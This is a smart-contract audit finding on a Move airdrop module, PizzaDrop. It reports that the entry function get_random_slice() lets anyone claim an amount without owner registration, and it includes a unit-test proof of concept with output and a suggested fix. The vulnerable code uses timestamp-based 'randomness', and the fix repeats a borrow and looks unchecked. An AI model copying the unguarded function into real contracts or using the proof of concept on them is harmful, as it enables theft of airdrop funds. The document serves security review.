get_random_slice() has entry accessibility and has no guards to check whether user is registered already + A user can claim PizzaDrop without registration
Description
- 
A user must be registered by the owner to become eligible. 
- 
get_random_slice()hasentryaccessibility.
 
- 
get_random_slice()has no guards to check whether the user is registered already by the owner.
 
    #[randomness]
@>  entry fun get_random_slice(user_addr: address) acquires ModuleData, State {
        let state = borrow_global_mut<State>(get_resource_address());
        let time = timestamp::now_microseconds();
        let random_val = time % 401;
        let random_amount = 100 + random_val;  
        table::add(&mut state.users_claimed_amount, user_addr, random_amount);
    }
Risk
Likelihood:
Impact:
Proof of Concept
    fun p<T>(s: &T) {
        debug::print(s);
    }
    fun p_vector(s: vector<u8>) {
        debug::print(&string::utf8(s));
    }
    #[test(deployer = @pizza_drop, user = @0x123, framework = @0x1)]
    fun test_get_random_slice_without_being_registered(
        deployer: &signer,
        user: &signer,
        framework: &signer
    ) acquires State, ModuleData {
        use aptos_framework::account;
        use aptos_framework::timestamp;
        use aptos_framework::aptos_coin;
        
        timestamp::set_time_has_started_for_testing(framework);
        let now_us = timestamp::now_microseconds();
        p_vector(b"now_us");
        p(&now_us);
        let (burn_cap, mint_cap) = aptos_coin::initialize_for_test(framework);
        
        account::create_account_for_test(@pizza_drop);
        account::create_account_for_test(signer::address_of(user));
        
        init_module(deployer);
        
        let funding_amount = 100000; 
        let deployer_coins = coin::mint<AptosCoin>(funding_amount, &mint_cap);
        coin::register<AptosCoin>(deployer);
        coin::deposit<AptosCoin>(@pizza_drop, deployer_coins);
        
        let contract_funding = 10000; 
        fund_pizza_drop(deployer, contract_funding);
        
        let user_addr = signer::address_of(user);
        
        get_random_slice(user_addr);
        let user_claimed_amount = get_claimed_amount(user_addr);
        p_vector(b"user_claimed_amount");
        p(&user_claimed_amount);
        assert!(user_claimed_amount == 100, 8);
        
        coin::destroy_burn_cap(burn_cap);
        coin::destroy_mint_cap(mint_cap);
    }
On line 48, any user can call get_random_slice() without the owner calling register_pizza_lover() first.
Run with:
aptos move test --filter test_get_random_slice_without_being_registered
Output:
Running Move unit tests
[debug] "now_us"
[debug] 0
[debug] "user_claimed_amount"
[debug] 100
[ PASS    ] 0xccc::airdrop::test_get_random_slice_without_being_registered
Test result: OK. Total tests: 1; passed: 1; failed: 0
{
  "Result": "Success"
}
Recommended Mitigation
Enforce that only the owner can call get_random_slice() and add a guard to check that the user_addr has not already claimed a random slice.
- remove this code
+ add this code
    #[randomness]
-   entry fun get_random_slice(user_addr: address) acquires ModuleData, State {
+   entry fun get_random_slice(owner: &signer, user_addr: address) acquires ModuleData, State {
        let state = borrow_global_mut<State>(get_resource_address());
+       assert!(signer::address_of(owner) == state.owner, E_NOT_OWNER);
+       assert!(!has_claimed_slice(user_addr), E_ALREADY_CLAIMED);
+       let state = borrow_global_mut<State>(get_resource_address());
        let time = timestamp::now_microseconds();
        let random_val = time % 401;
        let random_amount = 100 + random_val;  // 100-500 APT (in Octas: 10^8 smallest unit)
        table::add(&mut state.users_claimed_amount, user_addr, random_amount);
    }